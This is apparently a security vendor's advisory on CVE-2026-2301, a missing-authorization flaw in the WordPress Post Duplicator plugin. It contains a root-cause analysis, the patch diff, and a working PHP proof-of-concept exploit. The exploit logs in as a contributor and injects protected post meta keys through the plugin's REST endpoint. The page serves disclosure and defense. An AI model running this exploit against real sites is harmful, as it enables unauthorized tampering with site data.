Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2301: Post Duplicator <= 3.0.8 – Missing Authorization to Authenticated (Contributor+) Protected Post Meta Insertion via 'customMetaData' Parameter (post-duplicator)

CVE ID CVE-2026-2301
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.0.8
Patched Version 3.0.9
Disclosed February 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2301:
The Post Duplicator WordPress plugin version 3.0.8 and earlier contains an authorization bypass vulnerability. This flaw allows authenticated users with Contributor-level permissions or higher to insert arbitrary protected post meta keys into duplicated posts. The vulnerability resides in the plugin’s REST API endpoint handling custom meta data duplication.

Atomic Edge research identified the root cause in the `duplicate_post()` function within `/includes/api.php`. The function processes the `customMetaData` parameter from user-supplied JSON. In the vulnerable version, lines 837-920 directly insert user-controlled meta key-value pairs into the `wp_postmeta` table using `$wpdb->insert()`. This bypasses WordPress’s `add_post_meta()` function, which would normally call `is_protected_meta()` to block lower-privileged users from setting protected meta keys (those prefixed with `_`). The code failed to validate whether submitted meta keys existed on the original post or were protected.

Exploitation requires Contributor-level WordPress access. Attackers send a POST request to `/wp-json/post-duplicator/v1/duplicate-post` with a JSON payload containing a `customMetaData` array. Each array element includes a `key` and `value`. Attackers can specify protected meta keys like `_wp_page_template`, `_wp_attached_file`, or `_thumbnail_id`. The plugin processes these keys without authorization checks, inserting them directly into the duplicated post’s metadata.

The patch in version 3.0.9 introduces multiple security layers. Lines 855-857 add a critical check: `if ( ! array_key_exists( $meta_key, $original_custom_fields ) ) { continue; }`. This ensures only meta keys existing on the original post can be copied. Lines 884-887 implement `is_protected_meta( $meta_key, ‘post’ )` validation. For protected meta keys, the plugin now uses original values only, preventing value injection. For non-protected keys, user-edited values are allowed. These changes enforce the principle that protected meta should not be settable by lower-privileged users.

Successful exploitation allows attackers to manipulate post behavior and potentially escalate privileges. Setting `_wp_page_template` could change page layouts. Modifying `_wp_attached_file` might disrupt media attachments. Inserting `_thumbnail_id` could alter featured images. While the vulnerability does not directly enable remote code execution, it permits unauthorized modification of protected post metadata that controls WordPress core functionality. This could lead to content manipulation, site presentation changes, or disruption of post relationships.

Differential between vulnerable and patched code

Code Diff
--- a/post-duplicator/assets/build/gutenbergButton.asset.php
+++ b/post-duplicator/assets/build/gutenbergButton.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-plugins', 'wp-primitives'), 'version' => 'eb9b987d1d4ef9337299');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-plugins', 'wp-primitives'), 'version' => '4a582df916423a2c3f5e');
--- a/post-duplicator/assets/build/postDuplicator.asset.php
+++ b/post-duplicator/assets/build/postDuplicator.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '7cfbb7eda2177715b9a5');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '9e5dd04797fa5b464171');
--- a/post-duplicator/includes/api.php
+++ b/post-duplicator/includes/api.php
@@ -277,7 +277,7 @@
     'date' => $post->post_date,
     'author' => $author_name,
     'authorId' => $post->post_author,
-    'parent' => $post->post_parent || 0,
+    'parent' => (int) $post->post_parent,
     'parentPost' => $parent_post,
     'featuredImage' => $featured_image,
   ) );
@@ -537,13 +537,14 @@
   return true;
 }

+
 /**
  * Duplicate a post
  */
 function duplicate_post( $request ) {
   $data = $request->get_json_params();

-  // Get access to the database
+  // Get access to the database (used for meta insertion when copying validated keys from original)
 	global $wpdb;

   // Get and validate the original id
@@ -644,9 +645,27 @@
 		}
 	}

-	// Set the parent - check for selectedParentId first, otherwise keep original parent
-	if ( isset( $settings['selectedParentId'] ) ) {
-		$duplicate['post_parent'] = intval( $settings['selectedParentId'] );
+	// Set the parent from request data.
+	// Validate parent is the same post type to avoid invalid cross-type assignments.
+	if ( array_key_exists( 'selectedParentId', $data ) ) {
+		$selected_parent = $data['selectedParentId'];
+
+		// Explicit "No Parent" selection.
+		if ( null === $selected_parent || '' === $selected_parent || 0 === $selected_parent || '0' === $selected_parent ) {
+			$duplicate['post_parent'] = 0;
+		} else {
+			$selected_parent_id = absint( $selected_parent );
+			if ( $selected_parent_id > 0 ) {
+				$selected_parent_post = get_post( $selected_parent_id );
+				if (
+					$selected_parent_post &&
+					$selected_parent_post->post_type === $duplicate['post_type'] &&
+					is_post_type_hierarchical( $duplicate['post_type'] )
+				) {
+					$duplicate['post_parent'] = $selected_parent_id;
+				}
+			}
+		}
 	}

 	// Set the post date
@@ -837,15 +856,16 @@
 	if ( $include_custom_meta === true ) {

 		$excluded_meta_keys = get_excluded_meta_keys();
+		$original_custom_fields = get_post_custom( $original_id );
 		$cloned_meta_data = [];

 		// Use provided custom meta data if available, otherwise fetch from original post
 		if ( isset( $settings['customMetaData'] ) && is_array( $settings['customMetaData'] ) ) {
-			// Use provided custom meta data
-			$original_custom_fields = get_post_custom( $original_id );
-
+			// Security: Only copy keys that exist on the original post (blocks key injection).
+			// For protected meta (e.g. _wp_page_template): use original values only (blocks value injection).
+			// For non-protected meta: allow user-edited values from the request.
 			foreach ( $settings['customMetaData'] as $meta_item ) {
-				if ( ! isset( $meta_item['key'] ) || ! isset( $meta_item['value'] ) ) {
+				if ( ! isset( $meta_item['key'] ) ) {
 					continue;
 				}
 				$meta_key = $meta_item['key'];
@@ -855,48 +875,53 @@
 					continue; // Skip invalid meta keys
 				}

+				// Security: Only allow keys that exist on the original post (blocks injection)
+				if ( ! array_key_exists( $meta_key, $original_custom_fields ) ) {
+					continue;
+				}
+
 				// Skip excluded meta keys
 				if ( in_array( $meta_key, $excluded_meta_keys, true ) ) {
 					continue;
 				}

-				if ( ! array_key_exists( $meta_key, $cloned_meta_data ) ) {
-					$cloned_meta_data[$meta_key] = [];
-				}
-
-				// before add the meta value check if the original value is a serialized array or object or json string and if so, format the new value accordingly
-				$original_value = isset( $original_custom_fields[$meta_key] ) ? $original_custom_fields[$meta_key][0] : false;
-
-				// Get the new meta value and decode JSON string if it is a JSON string
-				$meta_value = $meta_item['value'];
-				if ( is_string( $meta_value ) && is_json_string( $meta_value ) ) {
-					$meta_value = json_decode( $meta_value, true );
-				}
-
-				// Format the new meta value accordingly
-				if ( is_array( $meta_value ) ) {
-					if ( $original_value ) {
-						if ( is_serialized( $original_value ) ) {
-							$meta_value = maybe_serialize( $meta_value );
-						} elseif ( is_json_string( $original_value ) ) {
-							$meta_value = wp_json_encode( $meta_value );
-						}
-					} else {
-						// if $meta_value is array or object, serialize it
-						if ( is_array( $meta_value ) || is_object( $meta_value ) ) {
+				if ( is_protected_meta( $meta_key, 'post' ) ) {
+					// Protected meta: use original values only to prevent value injection
+					$cloned_meta_data[ $meta_key ] = $original_custom_fields[ $meta_key ];
+				} else {
+					// Non-protected meta: allow user-edited values from the request
+					if ( ! array_key_exists( $meta_key, $cloned_meta_data ) ) {
+						$cloned_meta_data[ $meta_key ] = [];
+					}
+					$original_value = isset( $original_custom_fields[ $meta_key ] ) ? $original_custom_fields[ $meta_key ][0] : false;
+					$meta_value = isset( $meta_item['value'] ) ? $meta_item['value'] : '';
+					// Decode JSON string if needed
+					if ( is_string( $meta_value ) && is_json_string( $meta_value ) ) {
+						$meta_value = json_decode( $meta_value, true );
+					}
+					// Format value for storage (serialize vs json based on original format)
+					if ( is_array( $meta_value ) ) {
+						if ( $original_value ) {
+							if ( is_serialized( $original_value ) ) {
+								$meta_value = maybe_serialize( $meta_value );
+							} elseif ( is_json_string( $original_value ) ) {
+								$meta_value = wp_json_encode( $meta_value );
+							}
+						} else {
 							$meta_value = maybe_serialize( $meta_value );
 						}
 					}
+					$cloned_meta_data[ $meta_key ][] = $meta_value;
 				}
-				$cloned_meta_data[$meta_key][] = $meta_value;
 			}

 		} else {
 			// Fall back to original behavior: duplicate all custom fields
-			$cloned_meta_data = get_post_custom( $original_id );
+			$cloned_meta_data = $original_custom_fields;
 		}

 		// Insert the cloned meta data into the database
+		// Uses $wpdb->insert for keys validated against original (including protected meta like ACF fields)
 		foreach( $cloned_meta_data as $key => $value ) {

 			// Skip excluded meta keys
@@ -920,7 +945,7 @@
 						'%s',
 						'%s',
 					);
-					$result = $wpdb->insert( $wpdb->prefix . 'postmeta', $data, $formats );
+					$wpdb->insert( $wpdb->prefix . 'postmeta', $data, $formats );
 				}
 			}
 		}
--- a/post-duplicator/includes/integrations/simple-custom-post-order.php
+++ b/post-duplicator/includes/integrations/simple-custom-post-order.php
@@ -0,0 +1,78 @@
+<?php
+/**
+ * Integration with Simple Custom Post Order (SCPO) plugin
+ *
+ * SCPO manages post order via the menu_order field and runs a "refresh" on every
+ * admin page load that reassigns sequential menu_order values when it detects
+ * gaps or duplicates. Post Duplicator copies menu_order from the original,
+ * creating duplicate values that trigger SCPO's refresh and cause unpredictable
+ * reordering of all posts.
+ *
+ * This integration assigns the duplicate a unique menu_order (max+1) when SCPO
+ * is active, preventing the refresh from running and preserving the user's order.
+ *
+ * @package MtphrPostDuplicatorIntegrations
+ */
+
+namespace MtphrPostDuplicatorIntegrations;
+
+// Only load when Simple Custom Post Order is active
+if ( ! class_exists( 'SCPO_Engine' ) ) {
+	return;
+}
+
+add_action( 'mtphr_post_duplicator_created', __NAMESPACE__ . 'set_duplicate_menu_order_for_scpo', 10, 3 );
+
+/**
+ * Set the duplicate's menu_order to a unique value when SCPO is managing this post type.
+ *
+ * SCPO's refresh() runs on admin_init and reassigns menu_order when cnt !== max.
+ * By assigning max+1, we keep the sequence intact so SCPO skips the refresh.
+ *
+ * @param int   $original_id Original post ID
+ * @param int   $duplicate_id Duplicated post ID
+ * @param array $settings Duplication settings
+ */
+function set_duplicate_menu_order_for_scpo( $original_id, $duplicate_id, $settings ) {
+	$duplicate_id = absint( $duplicate_id );
+	if ( ! $duplicate_id ) {
+		return;
+	}
+
+	$post_type = get_post_type( $duplicate_id );
+	if ( ! $post_type ) {
+		return;
+	}
+	$post_type = sanitize_key( $post_type );
+
+	$scpo_options = get_option( 'scporder_options', [] );
+	$objects      = isset( $scpo_options['objects'] ) && is_array( $scpo_options['objects'] )
+		? $scpo_options['objects']
+		: [];
+
+	if ( ! in_array( $post_type, $objects, true ) ) {
+		return;
+	}
+
+	global $wpdb;
+
+	$max = $wpdb->get_var(
+		$wpdb->prepare(
+			"SELECT MAX(menu_order) FROM $wpdb->posts
+			WHERE post_type = %s AND post_status IN ('publish', 'pending', 'draft', 'private', 'future')",
+			$post_type
+		)
+	);
+
+	$new_menu_order = (int) $max + 1;
+
+	$wpdb->update(
+		$wpdb->posts,
+		[ 'menu_order' => $new_menu_order ],
+		[ 'ID' => $duplicate_id ],
+		[ '%d' ],
+		[ '%d' ]
+	);
+
+	clean_post_cache( $duplicate_id );
+}
--- a/post-duplicator/m4c-postduplicator.php
+++ b/post-duplicator/m4c-postduplicator.php
@@ -3,7 +3,7 @@
 Plugin Name: Post Duplicator
 Plugin URI:        https://www.metaphorcreations.com/post-duplicator/
 Description:       Creates functionality to duplicate any and all post types, including taxonomies & custom fields
-Version:           3.0.8
+Version:           3.0.9
 Author:            Meta4Creations
 Author URI:        https://www.metaphorcreations.com/
 License:           GPL-2.0+
@@ -36,7 +36,7 @@

 // Plugin version.
 if ( ! defined( 'MTPHR_POST_DUPLICATOR_VERSION' ) ) {
-	define( 'MTPHR_POST_DUPLICATOR_VERSION', '3.0.8' );
+	define( 'MTPHR_POST_DUPLICATOR_VERSION', '3.0.9' );
 }

 // Plugin Folder Path.
@@ -94,6 +94,7 @@
 add_action( 'plugins_loaded', function () {
 	require_once( MTPHR_POST_DUPLICATOR_DIR.'includes/integrations/the-events-calendar.php' );
 	require_once( MTPHR_POST_DUPLICATOR_DIR.'includes/integrations/wp-nested-pages.php' );
+	require_once( MTPHR_POST_DUPLICATOR_DIR.'includes/integrations/simple-custom-post-order.php' );
 }, 20 );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2301 - Post Duplicator <= 3.0.8 - Missing Authorization to Authenticated (Contributor+) Protected Post Meta Insertion via 'customMetaData' Parameter

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Step 1: Authenticate to WordPress and obtain nonce
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $admin_url,
        'testcookie' => '1'
    ])
]);
$response = curl_exec($ch);

// Step 2: Extract WordPress REST API nonce from admin page
curl_setopt_array($ch, [
    CURLOPT_URL => $admin_url,
    CURLOPT_POST => false
]);
$admin_page = curl_exec($ch);

preg_match('/"rest_nonce":"([a-f0-9]+)"/', $admin_page, $matches);
$rest_nonce = $matches[1] ?? '';

if (empty($rest_nonce)) {
    die('Failed to obtain REST API nonce');
}

// Step 3: Exploit the vulnerability via REST API endpoint
$exploit_url = $target_url . '/wp-json/post-duplicator/v1/duplicate-post';
$original_post_id = 1; // Change to target post ID

$payload = json_encode([
    'originalId' => $original_post_id,
    'settings' => [
        'customMetaData' => [
            [
                'key' => '_wp_page_template',
                'value' => 'custom-template.php' // Protected meta key injection
            ],
            [
                'key' => '_wp_attached_file',
                'value' => 'malicious/file.jpg' // Another protected meta key
            ]
        ]
    ]
]);

curl_setopt_array($ch, [
    CURLOPT_URL => $exploit_url,
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'X-WP-Nonce: ' . $rest_nonce
    ],
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $payload
]);

$result = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "HTTP Response Code: $http_coden";
echo "Response: $resultn";

if ($http_code === 200 && strpos($result, 'duplicateId') !== false) {
    echo "Vulnerability successfully exploited. Protected meta keys inserted.n";
} else {
    echo "Exploit attempt failed.n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School